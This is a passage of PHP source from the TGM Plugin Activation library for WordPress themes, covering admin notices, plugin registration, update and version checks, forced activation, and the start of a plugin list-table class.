    '; } } return true; } /** * Echoes required plugin notice. * * Outputs a message telling users that a specific plugin is required for * their theme. If appropriate, it includes a link to the form page where * users can install and activate the plugin. * * Returns early if we're on the Install page. * * @since 1.0.0 * * @global object $current_screen * * @return null Returns early if we're on the Install page. */ public function notices() { // Remove nag on the install page / Return early if the nag message has been dismissed or user < author. if ( ( $this->is_tgmpa_page() || $this->is_core_update_page() ) || get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) || ! current_user_can( apply_filters( 'tgmpa_show_admin_notice_capability', 'publish_posts' ) ) ) { return; } // Store for the plugin slugs by message type. $message = array(); // Initialize counters used to determine plurality of action link texts. $install_link_count = 0; $update_link_count = 0; $activate_link_count = 0; $total_required_action_count = 0; foreach ( $this->plugins as $slug => $plugin ) { if ( $this->is_plugin_active( $slug ) && false === $this->does_plugin_have_update( $slug ) ) { continue; } if ( ! $this->is_plugin_installed( $slug ) ) { if ( current_user_can( 'install_plugins' ) ) { $install_link_count++; if ( true === $plugin['required'] ) { $message['notice_can_install_required'][] = $slug; } else { $message['notice_can_install_recommended'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } else { if ( ! $this->is_plugin_active( $slug ) && $this->can_plugin_activate( $slug ) ) { if ( current_user_can( 'activate_plugins' ) ) { $activate_link_count++; if ( true === $plugin['required'] ) { $message['notice_can_activate_required'][] = $slug; } else { $message['notice_can_activate_recommended'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } if ( $this->does_plugin_require_update( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) { if ( current_user_can( 'update_plugins' ) ) { $update_link_count++; if ( $this->does_plugin_require_update( $slug ) ) { $message['notice_ask_to_update'][] = $slug; } elseif ( false !== $this->does_plugin_have_update( $slug ) ) { $message['notice_ask_to_update_maybe'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } } } unset( $slug, $plugin ); // If we have notices to display, we move forward. if ( ! empty( $message ) || $total_required_action_count > 0 ) { krsort( $message ); // Sort messages. $rendered = ''; // As add_settings_error() wraps the final message in a

    and as the final message can't be // filtered, using

    's in our html would render invalid html output. $line_template = '%s' . "\n"; if ( ! current_user_can( 'activate_plugins' ) && ! current_user_can( 'install_plugins' ) && ! current_user_can( 'update_plugins' ) ) { $rendered = esc_html( $this->strings['notice_cannot_install_activate'] ) . ' ' . esc_html( $this->strings['contact_admin'] ); $rendered .= $this->create_user_action_links_for_notice( 0, 0, 0, $line_template ); } else { // If dismissable is false and a message is set, output it now. if ( ! $this->dismissable && ! empty( $this->dismiss_msg ) ) { $rendered .= sprintf( $line_template, wp_kses_post( $this->dismiss_msg ) ); } // Render the individual message lines for the notice. foreach ( $message as $type => $plugin_group ) { $linked_plugins = array(); // Get the external info link for a plugin if one is available. foreach ( $plugin_group as $plugin_slug ) { $linked_plugins[] = $this->get_info_link( $plugin_slug ); } unset( $plugin_slug ); $count = count( $plugin_group ); $linked_plugins = array_map( array( 'TGMPA_Utils', 'wrap_in_em' ), $linked_plugins ); $last_plugin = array_pop( $linked_plugins ); // Pop off last name to prep for readability. $imploded = empty( $linked_plugins ) ? $last_plugin : ( implode( ', ', $linked_plugins ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'tgmpa' ) . ' ' . $last_plugin ); $rendered .= sprintf( $line_template, sprintf( translate_nooped_plural( $this->strings[ $type ], $count, 'tgmpa' ), $imploded, $count ) ); } unset( $type, $plugin_group, $linked_plugins, $count, $last_plugin, $imploded ); $rendered .= $this->create_user_action_links_for_notice( $install_link_count, $update_link_count, $activate_link_count, $line_template ); } // Register the nag messages and prepare them to be processed. add_settings_error( 'tgmpa', 'tgmpa', $rendered, $this->get_admin_notice_class() ); } // Admin options pages already output settings_errors, so this is to avoid duplication. if ( 'options-general' !== $GLOBALS['current_screen']->parent_base ) { $this->display_settings_errors(); } } /** * Generate the user action links for the admin notice. * * @since 2.6.0 * * @param int $install_count Number of plugins to install. * @param int $update_count Number of plugins to update. * @param int $activate_count Number of plugins to activate. * @param int $line_template Template for the HTML tag to output a line. * @return string Action links. */ protected function create_user_action_links_for_notice( $install_count, $update_count, $activate_count, $line_template ) { // Setup action links. $action_links = array( 'install' => '', 'update' => '', 'activate' => '', 'dismiss' => $this->dismissable ? '' . esc_html( $this->strings['dismiss'] ) . '' : '', ); $link_template = '%1$s'; if ( current_user_can( 'install_plugins' ) ) { if ( $install_count > 0 ) { $action_links['install'] = sprintf( $link_template, translate_nooped_plural( $this->strings['install_link'], $install_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'install' ) ) ); } if ( $update_count > 0 ) { $action_links['update'] = sprintf( $link_template, translate_nooped_plural( $this->strings['update_link'], $update_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'update' ) ) ); } } if ( current_user_can( 'activate_plugins' ) && $activate_count > 0 ) { $action_links['activate'] = sprintf( $link_template, translate_nooped_plural( $this->strings['activate_link'], $activate_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'activate' ) ) ); } $action_links = apply_filters( 'tgmpa_notice_action_links', $action_links ); $action_links = array_filter( (array) $action_links ); // Remove any empty array items. if ( ! empty( $action_links ) ) { $action_links = sprintf( $line_template, implode( ' | ', $action_links ) ); return apply_filters( 'tgmpa_notice_rendered_action_links', $action_links ); } else { return ''; } } /** * Get admin notice class. * * Work around all the changes to the various admin notice classes between WP 4.4 and 3.7 * (lowest supported version by TGMPA). * * @since 2.6.0 * * @return string */ protected function get_admin_notice_class() { if ( ! empty( $this->strings['nag_type'] ) ) { return sanitize_html_class( strtolower( $this->strings['nag_type'] ) ); } else { if ( version_compare( $this->wp_version, '4.2', '>=' ) ) { return 'notice-warning'; } elseif ( version_compare( $this->wp_version, '4.1', '>=' ) ) { return 'notice'; } else { return 'updated'; } } } /** * Display settings errors and remove those which have been displayed to avoid duplicate messages showing * * @since 2.5.0 */ protected function display_settings_errors() { global $wp_settings_errors; settings_errors( 'tgmpa' ); foreach ( (array) $wp_settings_errors as $key => $details ) { if ( 'tgmpa' === $details['setting'] ) { unset( $wp_settings_errors[ $key ] ); break; } } } /** * Register dismissal of admin notices. * * Acts on the dismiss link in the admin nag messages. * If clicked, the admin notice disappears and will no longer be visible to this user. * * @since 2.1.0 */ public function dismiss() { if ( isset( $_GET['tgmpa-dismiss'] ) && check_admin_referer( 'tgmpa-dismiss-' . get_current_user_id() ) ) { update_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, 1 ); } } /** * Add individual plugin to our collection of plugins. * * If the required keys are not set or the plugin has already * been registered, the plugin is not added. * * @since 2.0.0 * * @param array|null $plugin Array of plugin arguments or null if invalid argument. * @return null Return early if incorrect argument. */ public function register( $plugin ) { if ( empty( $plugin['slug'] ) || empty( $plugin['name'] ) ) { return; } if ( empty( $plugin['slug'] ) || ! is_string( $plugin['slug'] ) || isset( $this->plugins[ $plugin['slug'] ] ) ) { return; } $defaults = array( 'name' => '', // String 'slug' => '', // String 'source' => 'repo', // String 'required' => false, // Boolean 'version' => '', // String 'force_activation' => false, // Boolean 'force_deactivation' => false, // Boolean 'external_url' => '', // String 'is_callable' => '', // String|Array. ); // Prepare the received data. $plugin = wp_parse_args( $plugin, $defaults ); // Standardize the received slug. $plugin['slug'] = $this->sanitize_key( $plugin['slug'] ); // Forgive users for using string versions of booleans or floats for version number. $plugin['version'] = (string) $plugin['version']; $plugin['source'] = empty( $plugin['source'] ) ? 'repo' : $plugin['source']; $plugin['required'] = TGMPA_Utils::validate_bool( $plugin['required'] ); $plugin['force_activation'] = TGMPA_Utils::validate_bool( $plugin['force_activation'] ); $plugin['force_deactivation'] = TGMPA_Utils::validate_bool( $plugin['force_deactivation'] ); // Enrich the received data. $plugin['file_path'] = $this->_get_plugin_basename_from_slug( $plugin['slug'] ); $plugin['source_type'] = $this->get_plugin_source_type( $plugin['source'] ); // Set the class properties. $this->plugins[ $plugin['slug'] ] = $plugin; $this->sort_order[ $plugin['slug'] ] = $plugin['name']; // Should we add the force activation hook ? if ( true === $plugin['force_activation'] ) { $this->has_forced_activation = true; } // Should we add the force deactivation hook ? if ( true === $plugin['force_deactivation'] ) { $this->has_forced_deactivation = true; } } /** * Determine what type of source the plugin comes from. * * @since 2.5.0 * * @param string $source The source of the plugin as provided, either empty (= WP repo), a file path * (= bundled) or an external URL. * @return string 'repo', 'external', or 'bundled' */ protected function get_plugin_source_type( $source ) { if ( 'repo' === $source || preg_match( self::WP_REPO_REGEX, $source ) ) { return 'repo'; } elseif ( preg_match( self::IS_URL_REGEX, $source ) ) { return 'external'; } else { return 'bundled'; } } /** * Sanitizes a string key. * * Near duplicate of WP Core `sanitize_key()`. The difference is that uppercase characters *are* * allowed, so as not to break upgrade paths from non-standard bundled plugins using uppercase * characters in the plugin directory path/slug. Silly them. * * @see https://developer.wordpress.org/reference/hooks/sanitize_key/ * * @since 2.5.0 * * @param string $key String key. * @return string Sanitized key */ public function sanitize_key( $key ) { $raw_key = $key; $key = preg_replace( '`[^A-Za-z0-9_-]`', '', $key ); /** * Filter a sanitized key string. * * @since 2.5.0 * * @param string $key Sanitized key. * @param string $raw_key The key prior to sanitization. */ return apply_filters( 'tgmpa_sanitize_key', $key, $raw_key ); } /** * Amend default configuration settings. * * @since 2.0.0 * * @param array $config Array of config options to pass as class properties. */ public function config( $config ) { $keys = array( 'id', 'default_path', 'has_notices', 'dismissable', 'dismiss_msg', 'menu', 'parent_slug', 'capability', 'is_automatic', 'message', 'strings', ); foreach ( $keys as $key ) { if ( isset( $config[ $key ] ) ) { if ( is_array( $config[ $key ] ) ) { $this->$key = array_merge( $this->$key, $config[ $key ] ); } else { $this->$key = $config[ $key ]; } } } } /** * Amend action link after plugin installation. * * @since 2.0.0 * * @param array $install_actions Existing array of actions. * @return false|array Amended array of actions. */ public function actions( $install_actions ) { // Remove action links on the TGMPA install page. if ( $this->is_tgmpa_page() ) { return false; } return $install_actions; } /** * Flushes the plugins cache on theme switch to prevent stale entries * from remaining in the plugin table. * * @since 2.4.0 * * @param bool $clear_update_cache Optional. Whether to clear the Plugin updates cache. * Parameter added in v2.5.0. */ public function flush_plugins_cache( $clear_update_cache = true ) { wp_clean_plugins_cache( $clear_update_cache ); } /** * Set file_path key for each installed plugin. * * @since 2.1.0 * * @param string $plugin_slug Optional. If set, only (re-)populates the file path for that specific plugin. * Parameter added in v2.5.0. */ public function populate_file_path( $plugin_slug = '' ) { if ( ! empty( $plugin_slug ) && is_string( $plugin_slug ) && isset( $this->plugins[ $plugin_slug ] ) ) { $this->plugins[ $plugin_slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $plugin_slug ); } else { // Add file_path key for all plugins. foreach ( $this->plugins as $slug => $values ) { $this->plugins[ $slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $slug ); } } } /** * Helper function to extract the file path of the plugin file from the * plugin slug, if the plugin is installed. * * @since 2.0.0 * * @param string $slug Plugin slug (typically folder name) as provided by the developer. * @return string Either file path for plugin if installed, or just the plugin slug. */ protected function _get_plugin_basename_from_slug( $slug ) { $keys = array_keys( $this->get_plugins() ); foreach ( $keys as $key ) { if ( preg_match( '|^' . $slug . '/|', $key ) ) { return $key; } } return $slug; } /** * Retrieve plugin data, given the plugin name. * * Loops through the registered plugins looking for $name. If it finds it, * it returns the $data from that plugin. Otherwise, returns false. * * @since 2.1.0 * * @param string $name Name of the plugin, as it was registered. * @param string $data Optional. Array key of plugin data to return. Default is slug. * @return string|boolean Plugin slug if found, false otherwise. */ public function _get_plugin_data_from_name( $name, $data = 'slug' ) { foreach ( $this->plugins as $values ) { if ( $name === $values['name'] && isset( $values[ $data ] ) ) { return $values[ $data ]; } } return false; } /** * Retrieve the download URL for a package. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Plugin download URL or path to local file or empty string if undetermined. */ public function get_download_url( $slug ) { $dl_source = ''; switch ( $this->plugins[ $slug ]['source_type'] ) { case 'repo': return $this->get_wp_repo_download_url( $slug ); case 'external': return $this->plugins[ $slug ]['source']; case 'bundled': return $this->default_path . $this->plugins[ $slug ]['source']; } return $dl_source; // Should never happen. } /** * Retrieve the download URL for a WP repo package. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Plugin download URL. */ protected function get_wp_repo_download_url( $slug ) { $source = ''; $api = $this->get_plugins_api( $slug ); if ( false !== $api && isset( $api->download_link ) ) { $source = $api->download_link; } return $source; } /** * Try to grab information from WordPress API. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return object Plugins_api response object on success, WP_Error on failure. */ protected function get_plugins_api( $slug ) { static $api = array(); // Cache received responses. if ( ! isset( $api[ $slug ] ) ) { if ( ! function_exists( 'plugins_api' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; } $response = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false ) ) ); $api[ $slug ] = false; if ( is_wp_error( $response ) ) { wp_die( esc_html( $this->strings['oops'] ) ); } else { $api[ $slug ] = $response; } } return $api[ $slug ]; } /** * Retrieve a link to a plugin information page. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Fully formed html link to a plugin information page if available * or the plugin name if not. */ public function get_info_link( $slug ) { if ( ! empty( $this->plugins[ $slug ]['external_url'] ) && preg_match( self::IS_URL_REGEX, $this->plugins[ $slug ]['external_url'] ) ) { $link = sprintf( '%2$s', esc_url( $this->plugins[ $slug ]['external_url'] ), esc_html( $this->plugins[ $slug ]['name'] ) ); } elseif ( 'repo' === $this->plugins[ $slug ]['source_type'] ) { $url = add_query_arg( array( 'tab' => 'plugin-information', 'plugin' => urlencode( $slug ), 'TB_iframe' => 'true', 'width' => '640', 'height' => '500', ), self_admin_url( 'plugin-install.php' ) ); $link = sprintf( '%2$s', esc_url( $url ), esc_html( $this->plugins[ $slug ]['name'] ) ); } else { $link = esc_html( $this->plugins[ $slug ]['name'] ); // No hyperlink. } return $link; } /** * Determine if we're on the TGMPA Install page. * * @since 2.1.0 * * @return boolean True when on the TGMPA page, false otherwise. */ protected function is_tgmpa_page() { return isset( $_GET['page'] ) && $this->menu === $_GET['page']; } /** * Determine if we're on a WP Core installation/upgrade page. * * @since 2.6.0 * * @return boolean True when on a WP Core installation/upgrade page, false otherwise. */ protected function is_core_update_page() { // Current screen is not always available, most notably on the customizer screen. if ( ! function_exists( 'get_current_screen' ) ) { return false; } $screen = get_current_screen(); if ( 'update-core' === $screen->base ) { // Core update screen. return true; } elseif ( 'plugins' === $screen->base && ! empty( $_POST['action'] ) ) { // WPCS: CSRF ok. // Plugins bulk update screen. return true; } elseif ( 'update' === $screen->base && ! empty( $_POST['action'] ) ) { // WPCS: CSRF ok. // Individual updates (ajax call). return true; } return false; } /** * Retrieve the URL to the TGMPA Install page. * * I.e. depending on the config settings passed something along the lines of: * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins * * @since 2.5.0 * * @return string Properly encoded URL (not escaped). */ public function get_tgmpa_url() { static $url; if ( ! isset( $url ) ) { $parent = $this->parent_slug; if ( false === strpos( $parent, '.php' ) ) { $parent = 'admin.php'; } $url = add_query_arg( array( 'page' => urlencode( $this->menu ), ), self_admin_url( $parent ) ); } return $url; } /** * Retrieve the URL to the TGMPA Install page for a specific plugin status (view). * * I.e. depending on the config settings passed something along the lines of: * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins&plugin_status=install * * @since 2.5.0 * * @param string $status Plugin status - either 'install', 'update' or 'activate'. * @return string Properly encoded URL (not escaped). */ public function get_tgmpa_status_url( $status ) { return add_query_arg( array( 'plugin_status' => urlencode( $status ), ), $this->get_tgmpa_url() ); } /** * Determine whether there are open actions for plugins registered with TGMPA. * * @since 2.5.0 * * @return bool True if complete, i.e. no outstanding actions. False otherwise. */ public function is_tgmpa_complete() { $complete = true; foreach ( $this->plugins as $slug => $plugin ) { if ( ! $this->is_plugin_active( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) { $complete = false; break; } } return $complete; } /** * Check if a plugin is installed. Does not take must-use plugins into account. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if installed, false otherwise. */ public function is_plugin_installed( $slug ) { $installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached). return ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ] ) ); } /** * Check if a plugin is active. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if active, false otherwise. */ public function is_plugin_active( $slug ) { return ( ( ! empty( $this->plugins[ $slug ]['is_callable'] ) && is_callable( $this->plugins[ $slug ]['is_callable'] ) ) || is_plugin_active( $this->plugins[ $slug ]['file_path'] ) ); } /** * Check if a plugin can be updated, i.e. if we have information on the minimum WP version required * available, check whether the current install meets them. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if OK to update, false otherwise. */ public function can_plugin_update( $slug ) { // We currently can't get reliable info on non-WP-repo plugins - issue #380. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { return true; } $api = $this->get_plugins_api( $slug ); if ( false !== $api && isset( $api->requires ) ) { return version_compare( $this->wp_version, $api->requires, '>=' ); } // No usable info received from the plugins API, presume we can update. return true; } /** * Check to see if the plugin is 'updatetable', i.e. installed, with an update available * and no WP version requirements blocking it. * * @since 2.6.0 * * @param string $slug Plugin slug. * @return bool True if OK to proceed with update, false otherwise. */ public function is_plugin_updatetable( $slug ) { if ( ! $this->is_plugin_installed( $slug ) ) { return false; } else { return ( false !== $this->does_plugin_have_update( $slug ) && $this->can_plugin_update( $slug ) ); } } /** * Check if a plugin can be activated, i.e. is not currently active and meets the minimum * plugin version requirements set in TGMPA (if any). * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if OK to activate, false otherwise. */ public function can_plugin_activate( $slug ) { return ( ! $this->is_plugin_active( $slug ) && ! $this->does_plugin_require_update( $slug ) ); } /** * Retrieve the version number of an installed plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Version number as string or an empty string if the plugin is not installed * or version unknown (plugins which don't comply with the plugin header standard). */ public function get_installed_version( $slug ) { $installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached). if ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version'] ) ) { return $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version']; } return ''; } /** * Check whether a plugin complies with the minimum version requirements. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True when a plugin needs to be updated, otherwise false. */ public function does_plugin_require_update( $slug ) { $installed_version = $this->get_installed_version( $slug ); $minimum_version = $this->plugins[ $slug ]['version']; return version_compare( $minimum_version, $installed_version, '>' ); } /** * Check whether there is an update available for a plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return false|string Version number string of the available update or false if no update available. */ public function does_plugin_have_update( $slug ) { // Presume bundled and external plugins will point to a package which meets the minimum required version. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { if ( $this->does_plugin_require_update( $slug ) ) { return $this->plugins[ $slug ]['version']; } return false; } $repo_updates = get_site_transient( 'update_plugins' ); if ( isset( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version ) ) { return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version; } return false; } /** * Retrieve potential upgrade notice for a plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string The upgrade notice or an empty string if no message was available or provided. */ public function get_upgrade_notice( $slug ) { // We currently can't get reliable info on non-WP-repo plugins - issue #380. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { return ''; } $repo_updates = get_site_transient( 'update_plugins' ); if ( ! empty( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice ) ) { return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice; } return ''; } /** * Wrapper around the core WP get_plugins function, making sure it's actually available. * * @since 2.5.0 * * @param string $plugin_folder Optional. Relative path to single plugin folder. * @return array Array of installed plugins with plugin information. */ public function get_plugins( $plugin_folder = '' ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } return get_plugins( $plugin_folder ); } /** * Delete dismissable nag option when theme is switched. * * This ensures that the user(s) is/are again reminded via nag of required * and/or recommended plugins if they re-activate the theme. * * @since 2.1.1 */ public function update_dismiss() { delete_metadata( 'user', null, 'tgmpa_dismissed_notice_' . $this->id, null, true ); } /** * Forces plugin activation if the parameter 'force_activation' is * set to true. * * This allows theme authors to specify certain plugins that must be * active at all times while using the current theme. * * Please take special care when using this parameter as it has the * potential to be harmful if not used correctly. Setting this parameter * to true will not allow the specified plugin to be deactivated unless * the user switches themes. * * @since 2.2.0 */ public function force_activation() { foreach ( $this->plugins as $slug => $plugin ) { if ( true === $plugin['force_activation'] ) { if ( ! $this->is_plugin_installed( $slug ) ) { // Oops, plugin isn't there so iterate to next condition. continue; } elseif ( $this->can_plugin_activate( $slug ) ) { // There we go, activate the plugin. activate_plugin( $plugin['file_path'] ); } } } } /** * Forces plugin deactivation if the parameter 'force_deactivation' * is set to true and adds the plugin to the 'recently active' plugins list. * * This allows theme authors to specify certain plugins that must be * deactivated upon switching from the current theme to another. * * Please take special care when using this parameter as it has the * potential to be harmful if not used correctly. * * @since 2.2.0 */ public function force_deactivation() { $deactivated = array(); foreach ( $this->plugins as $slug => $plugin ) { /* * Only proceed forward if the parameter is set to true and plugin is active * as a 'normal' (not must-use) plugin. */ if ( true === $plugin['force_deactivation'] && is_plugin_active( $plugin['file_path'] ) ) { deactivate_plugins( $plugin['file_path'] ); $deactivated[ $plugin['file_path'] ] = time(); } } if ( ! empty( $deactivated ) ) { update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) ); } } /** * Echo the current TGMPA version number to the page. * * @since 2.5.0 */ public function show_tgmpa_version() { echo '

    ', esc_html( sprintf( /* translators: %s: version number */ __( 'TGMPA v%s', 'tgmpa' ), self::TGMPA_VERSION ) ), '

    '; } /** * Returns the singleton instance of the class. * * @since 2.4.0 * * @return \TGM_Plugin_Activation The TGM_Plugin_Activation object. */ public static function get_instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) { self::$instance = new self(); } return self::$instance; } } if ( ! function_exists( 'load_tgm_plugin_activation' ) ) { /** * Ensure only one instance of the class is ever invoked. * * @since 2.5.0 */ function load_tgm_plugin_activation() { $GLOBALS['tgmpa'] = TGM_Plugin_Activation::get_instance(); } } if ( did_action( 'plugins_loaded' ) ) { load_tgm_plugin_activation(); } else { add_action( 'plugins_loaded', 'load_tgm_plugin_activation' ); } } if ( ! function_exists( 'tgmpa' ) ) { /** * Helper function to register a collection of required plugins. * * @since 2.0.0 * @api * * @param array $plugins An array of plugin arrays. * @param array $config Optional. An array of configuration values. */ function tgmpa( $plugins, $config = array() ) { $instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); foreach ( $plugins as $plugin ) { call_user_func( array( $instance, 'register' ), $plugin ); } if ( ! empty( $config ) && is_array( $config ) ) { // Send out notices for deprecated arguments passed. if ( isset( $config['notices'] ) ) { _deprecated_argument( __FUNCTION__, '2.2.0', 'The `notices` config parameter was renamed to `has_notices` in TGMPA 2.2.0. Please adjust your configuration.' ); if ( ! isset( $config['has_notices'] ) ) { $config['has_notices'] = $config['notices']; } } if ( isset( $config['parent_menu_slug'] ) ) { _deprecated_argument( __FUNCTION__, '2.4.0', 'The `parent_menu_slug` config parameter was removed in TGMPA 2.4.0. In TGMPA 2.5.0 an alternative was (re-)introduced. Please adjust your configuration. For more information visit the website: http://tgmpluginactivation.com/configuration/#h-configuration-options.' ); } if ( isset( $config['parent_url_slug'] ) ) { _deprecated_argument( __FUNCTION__, '2.4.0', 'The `parent_url_slug` config parameter was removed in TGMPA 2.4.0. In TGMPA 2.5.0 an alternative was (re-)introduced. Please adjust your configuration. For more information visit the website: http://tgmpluginactivation.com/configuration/#h-configuration-options.' ); } call_user_func( array( $instance, 'config' ), $config ); } } } /** * WP_List_Table isn't always available. If it isn't available, * we load it here. * * @since 2.2.0 */ if ( ! class_exists( 'WP_List_Table' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php'; } if ( ! class_exists( 'TGMPA_List_Table' ) ) { /** * List table class for handling plugins. * * Extends the WP_List_Table class to provide a future-compatible * way of listing out all required/recommended plugins. * * Gives users an interface similar to the Plugin Administration * area with similar (albeit stripped down) capabilities. * * This class also allows for the bulk install of plugins. * * @since 2.2.0 * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_List_Table extends WP_List_Table { /** * TGMPA instance. * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * The currently chosen view. * * @since 2.5.0 * * @var string One of: 'all', 'install', 'update', 'activate' */ public $view_context = 'all'; /** * The plugin counts for the various views. * * @since 2.5.0 * * @var array */ protected $view_totals = array( 'all' => 0, 'install' => 0, 'update' => 0, 'activate' => 0, ); /** * References parent constructor and sets defaults for class. * * @since 2.2.0 */ public function __construct() { $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); parent::__construct( array( 'singular' => 'plugin', 'plural' => 'plugins', 'ajax' => false, ) ); if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array( 'install', 'update', 'activate' ), true ) ) { $this->view_context = sanitize_key( $_REQUEST['plugin_status'] ); } add_filter( 'tgmpa_table_data_items', array( $this, 'sort_table_items' ) ); } /** * Get a list of CSS classes for the tag. * * Overruled to prevent the 'plural' argument from being added. * * @since 2.5.0 * * @return array CSS classnames. */ public function get_table_classes() { return array( 'widefat', 'fixed' ); } /** * Gathers and renames all of our plugin information to be used by WP_List_Table to create our table. * * @since 2.2.0 * * @return array $table_data Information for use in table. */ protected function _gather_plugin_data() { // Load thickbox for plugin links. $this->tgmpa->admin_init(); $this->tgmpa->thickbox(); // Categorize the plugins which have open actions. $plugins = $this->categorize_plugins_to_views(); // Set the counts for the view links. $this->set_view_totals( $plugins ); // Prep variables for use and grab list of all installed plugins. $table_data = array(); $i = 0; // Redirect to the 'all' view if no plugins were found for the selected view context. if ( empty( $plugins[ $this->view_context ] ) ) { $this->view_context = 'all'; } foreach ( $plugins[ $this->view_context ] as $slug => $plugin ) { $table_data[ $i ]['sanitized_plugin'] = $plugin['name']; $table_data[ $i ]['slug'] = $slug; $table_data[ $i ]['plugin'] = '' . $this->tgmpa->get_info_link( $slug ) . ''; $table_data[ $i ]['source'] = $this->get_plugin_source_type_text( $plugin['source_type'] ); $table_data[ $i ]['type'] = $this->get_plugin_advise_type_text( $plugin['required'] ); $table_data[ $i ]['status'] = $this->get_plugin_status_text( $slug ); $table_data[ $i ]['installed_version'] = $this->tgmpa->get_installed_version( $slug ); $table_data[ $i ]['minimum_version'] = $plugin['version']; $table_data[ $i ]['available_version'] = $this->tgmpa->does_plugin_have_update( $slug ); // Prep the upgrade notice info. $upgrade_notice = $this->tgmpa->get_upgrade_notice( $slug ); if ( ! empty( $upgrade_notice ) ) { $table_data[ $i ]['upgrade_notice'] = $upgrade_notice; add_action( "tgmpa_after_plugin_row_{$slug}", array( $this, 'wp_plugin_update_row' ), 10, 2 ); } $table_data[ $i ] = apply_filters( 'tgmpa_table_data_item', $table_data[ $i ], $plugin ); $i++; } return $table_data; } /** * Categorize the plugins which have open actions into views for the TGMPA page. * * @since 2.5.0 */ protected function categorize_plugins_to_views() { $plugins = array( 'all' => array(), // Meaning: all plugins which still have open actions. 'install' => array(), 'update' => array(), 'activate' => array(), ); foreach ( $this->tgmpa->plugins as $slug => $plugin ) { if ( $this->tgmpa->is_plugin_active( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { // No need to display plugins if they are installed, up-to-date and active. continue; } else { $plugins['all'][ $slug ] = $plugin; if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { $plugins['install'][ $slug ] = $plugin; } else { if ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) { $plugins['update'][ $slug ] = $plugin; } if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins['activate'][ $slug ] = $plugin; } } } } return $plugins; } /** * Set the counts for the view links. * * @since 2.5.0 * * @param array $plugins Plugins order by view. */ protected function set_view_totals( $plugins ) { foreach ( $plugins as $type => $list ) { $this->view_totals[ $type ] = count( $list ); } } /** * Get the plugin required/recommended text string. * * @since 2.5.0 * * @param string $required Plugin required setting. * @return string */ protected function get_plugin_advise_type_text( $required ) { if ( true === $required ) { return __( 'Required', 'tgmpa' ); } return __( 'Recommended', 'tgmpa' ); } /** * Get the plugin source type text string. * * @since 2.5.0 * * @param string $type Plugin type. * @return string */ protected function get_plugin_source_type_text( $type ) { $string = ''; switch ( $type ) { case 'repo': $string = __( 'WordPress Repository', 'tgmpa' ); break; case 'external': $string = __( 'External Source', 'tgmpa' ); break; case 'bundled': $string = __( 'Pre-Packaged', 'tgmpa' ); break; } return $string; } /** * Determine the plugin status message. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string */ protected function get_plugin_status_text( $slug ) { if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { return __( 'Not Installed', 'tgmpa' ); } if ( ! $this->tgmpa->is_plugin_active( $slug ) ) { $install_status = __( 'Installed But Not Activated', 'tgmpa' ); } else { $install_status = __( 'Active', 'tgmpa' ); } $update_status = ''; if ( $this->tgmpa->does_plugin_require_update( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { $update_status = __( 'Required Update not Available', 'tgmpa' ); } elseif ( $this->tgmpa->does_plugin_require_update( $slug ) ) { $update_status = __( 'Requires Update', 'tgmpa' ); } elseif ( false !== 